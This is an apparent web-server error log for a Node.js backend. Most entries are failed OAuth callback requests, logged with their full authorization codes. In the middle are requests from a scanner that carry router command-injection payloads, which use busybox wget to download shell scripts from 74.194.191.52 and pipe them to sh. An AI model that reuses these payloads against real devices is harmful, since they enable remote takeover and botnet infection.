/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu1bBV34FW5N7lZSPcKe9fZF7x4jnxJxyBCPVV2FNlKZOQEqLKRO6T1bM8umhkD6_sfPPwNlq08D5YT9uEvcZR_D85XHh5M__L7QB_8U4LFovxvIOygzEYw-OCdAywYAqQvoClZXC2_jBmkCXMGYx7v6J1pqmzZR3zqvD2mdYTkEUgvh9wzYEC8KFGf_G7_BHYP_EkapudbSqNoP0-JwdedB1bTby56IteGvI7_rj9dlnaBbEVhGQMSx-7maDic2eY-0aFhpLlnslqxNJGXTbPEqL9YH5OB0mBRmC4bAHRzXUmdVubs5Gy_XNfN7TEmmLCi9j3FEw-SZgGRY7cnyJrJv9Wvq6YyQfcPmXj4pbG24b179yIe1IAcf1celJx8dX1d5zpamYMRfQ2tNh8HCPIKqwa9gt5M54ick1P7NOZiC7qnozoejgpjHe5ub-HAoEfQcR-awlswmsDszPR5ohx7Y7EnXuSgPxDjflwyvMFl9OXSGwukLzxMnYlEYnmZ2p-ZKDBuSGzVF0mR7Icc6PSGdJ5XO4usVEhYXDZPTX48RMDqtWE86gzHL6La2fnWcwBw - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu1bBV34FW5N7lZSPcKe9fZF7x4jnxJxyBCPVV2FNlKZOQEqLKRO6T1bM8umhkD6_sfPPwNlq08D5YT9uEvcZR_D85XHh5M__L7QB_8U4LFovxvIOygzEYw-OCdAywYAqQvoClZXC2_'... 440 more characters, userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15' }, requestId: 'req_1758611218043_bh36ptj0m', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '93.3.5.138', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T07:09:12.618Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758611352617_ldl1qxmv2' } ❌ [ERROR] 2025-09-23T07:09:12.619Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758611352617_ldl1qxmv2', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T07:31:23.514Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758612683512_pgkq2yagc', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '93.3.5.138', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T07:38:30.275Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758613110274_b34lhsmgb' } ❌ [ERROR] 2025-09-23T07:38:30.276Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758613110274_b34lhsmgb', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodAnkMQxGp-w5WfOvko_5czOkgwNUqx39DXBazJYMncm-UJkCUOJOUUJkT4cGg78H0J_KvA_Co1Yd1NhlWk0mze-UNPRG7RIwrGcx5lqVwE118-k5CcEE0oFfCLXbf7xQPPG74FkbhY24oA6pG9mTLsVXOrwiuFlPumGwP5eKO-QO_bqbYagjzYUjEo6Ur2JJY0K7ZomQTfm-yQcnskFRHIpM5Lie3I-krfgJTwHQZIy6729d6rIVgxDgcQf8c2f-DDC1I4nST4omdsExQpxOls1yqc0qLOUYaqXC1KWwLrt0CE_w16dBnSlQ6jrr0rL9G8gUkDjkQkt-f7kNSO_SGGSPuEYtnF5dSUvBsdRf7f5kXcVLNHXG2h0yY3srZzTrJZteKOEVIaVV_qs93y8QMjwPbLEAKX8fIy88-YHGoV5G1IxI4uQbh8Ts4wTAjpYuN8iN9kNYIdKXPTdM2GZ-2fOImTdTJWcIaZwevVxbv6CdMOpMAO-BH-bObJ0TLE5J91qiS8e5AOehulD_5ZN7Ftk', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '93.3.5.138', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T07:39:22.129Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodAnkMQxGp-w5WfOvko_5czOkgwNUqx39DXBazJYMncm-UJkCUOJOUUJkT4cGg78H0J_KvA_Co1Yd1NhlWk0mze-UNPRG7RIwrGcx5lqVwE118-k5CcEE'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodAnkMQxGp-w5WfOvko_5czOkgwNUqx39DXBazJYMncm-UJkCUOJOUUJkT4cGg78H0J_KvA_Co1Yd1NhlWk0mze-UNPRG7RI'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758613162127_wy1mw1ins' } ❌ [ERROR] 2025-09-23T07:39:22.130Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodAnkMQxGp-w5WfOvko_5czOkgwNUqx39DXBazJYMncm-UJkCUOJOUUJkT4cGg78H0J_KvA_Co1Yd1NhlWk0mze-UNPRG7RIwrGcx5lqVwE118-k5CcEE0oFfCLXbf7xQPPG74FkbhY24oA6pG9mTLsVXOrwiuFlPumGwP5eKO-QO_bqbYagjzYUjEo6Ur2JJY0K7ZomQTfm-yQcnskFRHIpM5Lie3I-krfgJTwHQZIy6729d6rIVgxDgcQf8c2f-DDC1I4nST4omdsExQpxOls1yqc0qLOUYaqXC1KWwLrt0CE_w16dBnSlQ6jrr0rL9G8gUkDjkQkt-f7kNSO_SGGSPuEYtnF5dSUvBsdRf7f5kXcVLNHXG2h0yY3srZzTrJZteKOEVIaVV_qs93y8QMjwPbLEAKX8fIy88-YHGoV5G1IxI4uQbh8Ts4wTAjpYuN8iN9kNYIdKXPTdM2GZ-2fOImTdTJWcIaZwevVxbv6CdMOpMAO-BH-bObJ0TLE5J91qiS8e5AOehulD_5ZN7Ftk - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 3, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodAnkMQxGp-w5WfOvko_5czOkgwNUqx39DXBazJYMncm-UJkCUOJOUUJkT4cGg78H0J_KvA_Co1Yd1NhlWk0mze-UNPRG7RI'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758613162127_wy1mw1ins', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodERX45TkPgsC_V3M8nZDanfffabflbYl-MiA-pK3iopdOxvWv2H9powEbsBB5frmAlke1VHauv1GHTAJ0PnaRqfWEu2Tng7Uo--1AIoLyqfuMj2tVzVLUlQZcFB52y3b6_FhW9z9KfF_bcBEXwIzySHnEC5VpugUBt0RsA_kOINTKCEJdPFzn4x8SgiGshPa_R8KwKbiEwa8SjZYOVK2b1-fmS7JcLVRJ-mBRUrSZg7u036B0ISY0WFcZehg4WFo8lRMREPuc3ShJ50aV5E87diNI_7zX8ZqC8SxYyYcOnRv5ln_FuHPNAN7w00ocjQoN9Fjm4KZt6en9UarjC1_JKjGWMZDdm-KONswpUXoHQDl9X4ABqlewZLNgit8VOxt6Kavrg1Uoh1PysUDO2sxMeiuVvlQ4IutOdtonQ0X-p8SALsbcg7e_bbL8Rg3haI7QOL95BKC3cfCkGmJQ1U5HLhtxSwAUmd0rgzGHKrm44lRC3y9GecCmWrJAXNBZZIrQuV8Xzt8e93ntQCU3rGQod0', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '93.3.5.138', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T07:43:06.451Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodERX45TkPgsC_V3M8nZDanfffabflbYl-MiA-pK3iopdOxvWv2H9powEbsBB5frmAlke1VHauv1GHTAJ0PnaRqfWEu2Tng7Uo--1AIoLyqfuMj2tVzVL'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodERX45TkPgsC_V3M8nZDanfffabflbYl-MiA-pK3iopdOxvWv2H9powEbsBB5frmAlke1VHauv1GHTAJ0PnaRqfWEu2Tng7'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758613386450_reyu5ppm5' } ❌ [ERROR] 2025-09-23T07:43:06.453Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodERX45TkPgsC_V3M8nZDanfffabflbYl-MiA-pK3iopdOxvWv2H9powEbsBB5frmAlke1VHauv1GHTAJ0PnaRqfWEu2Tng7Uo--1AIoLyqfuMj2tVzVLUlQZcFB52y3b6_FhW9z9KfF_bcBEXwIzySHnEC5VpugUBt0RsA_kOINTKCEJdPFzn4x8SgiGshPa_R8KwKbiEwa8SjZYOVK2b1-fmS7JcLVRJ-mBRUrSZg7u036B0ISY0WFcZehg4WFo8lRMREPuc3ShJ50aV5E87diNI_7zX8ZqC8SxYyYcOnRv5ln_FuHPNAN7w00ocjQoN9Fjm4KZt6en9UarjC1_JKjGWMZDdm-KONswpUXoHQDl9X4ABqlewZLNgit8VOxt6Kavrg1Uoh1PysUDO2sxMeiuVvlQ4IutOdtonQ0X-p8SALsbcg7e_bbL8Rg3haI7QOL95BKC3cfCkGmJQ1U5HLhtxSwAUmd0rgzGHKrm44lRC3y9GecCmWrJAXNBZZIrQuV8Xzt8e93ntQCU3rGQod0 - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 3, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodERX45TkPgsC_V3M8nZDanfffabflbYl-MiA-pK3iopdOxvWv2H9powEbsBB5frmAlke1VHauv1GHTAJ0PnaRqfWEu2Tng7'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758613386450_reyu5ppm5', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T07:48:59.302Z HTTP POST /tmUnblock.cgi - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:45.88.186.32', method: 'POST', url: '/tmUnblock.cgi', userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' }, requestId: 'req_1758613739300_911mt5egm', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T07:48:59.518Z HTTP GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.zqq.sh%7Csh%60 - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.88.186.32', method: 'GET', url: '/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.zqq.sh%7Csh%60', userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' }, requestId: 'req_1758613739517_3qpgxdtrl', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T07:48:59.624Z HTTP GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1 - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.88.186.32', method: 'GET', url: '/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1', userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' }, requestId: 'req_1758613739623_6ufpb13zu', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T07:48:59.735Z HTTP GET /cgi-bin/;wget${IFS}-qO-${IFS}http://74.194.191.52/rondo.sbx.sh|sh&echo${IFS} - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.88.186.32', method: 'GET', url: '/cgi-bin/;wget${IFS}-qO-${IFS}http://74.194.191.52/rondo.sbx.sh|sh&echo${IFS}', userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' }, requestId: 'req_1758613739734_mdwa560zb', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T07:48:59.951Z HTTP POST /goform/mp - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.88.186.32', method: 'POST', url: '/goform/mp', userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' }, requestId: 'req_1758613739949_klgw1xtkw', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T07:49:00.059Z HTTP GET /goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.uzz.sh%7Csh%26echo%20 - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.88.186.32', method: 'GET', url: '/goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.uzz.sh%7Csh%26echo%20', userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' }, requestId: 'req_1758613740058_ybt12jyri', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T07:49:00.277Z HTTP POST /cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4= - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.88.186.32', method: 'POST', url: '/cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4=', userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' }, requestId: 'req_1758613740276_gyllspgbm', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T07:49:00.383Z HTTP POST /diagnostic.php - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.88.186.32', method: 'POST', url: '/diagnostic.php', userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' }, requestId: 'req_1758613740382_5tjbe50qe', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T07:49:00.596Z HTTP GET /HNAP1/ - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.88.186.32', method: 'GET', url: '/HNAP1/', userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' }, requestId: 'req_1758613740595_ngj7jsudy', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T07:49:00.702Z HTTP POST /goform/SystemCommand - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.88.186.32', method: 'POST', url: '/goform/SystemCommand', userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' }, requestId: 'req_1758613740701_vmf8kvtgf', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T07:50:35.897Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:3.134.148.59', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' }, requestId: 'req_1758613835896_k2hiu3r35', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?error=1', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '54.175.74.27', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T07:50:42.532Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?error=1', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' }, requestId: 'req_1758613842531_qyljbc4vo' } ❌ [ERROR] 2025-09-23T07:50:42.533Z HTTP GET /idnot/callback?error=1 - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?error=1', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' }, requestId: 'req_1758613842531_qyljbc4vo', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T07:51:47.239Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:3.134.148.59', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' }, requestId: 'req_1758613907238_e87jz6qt2', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: 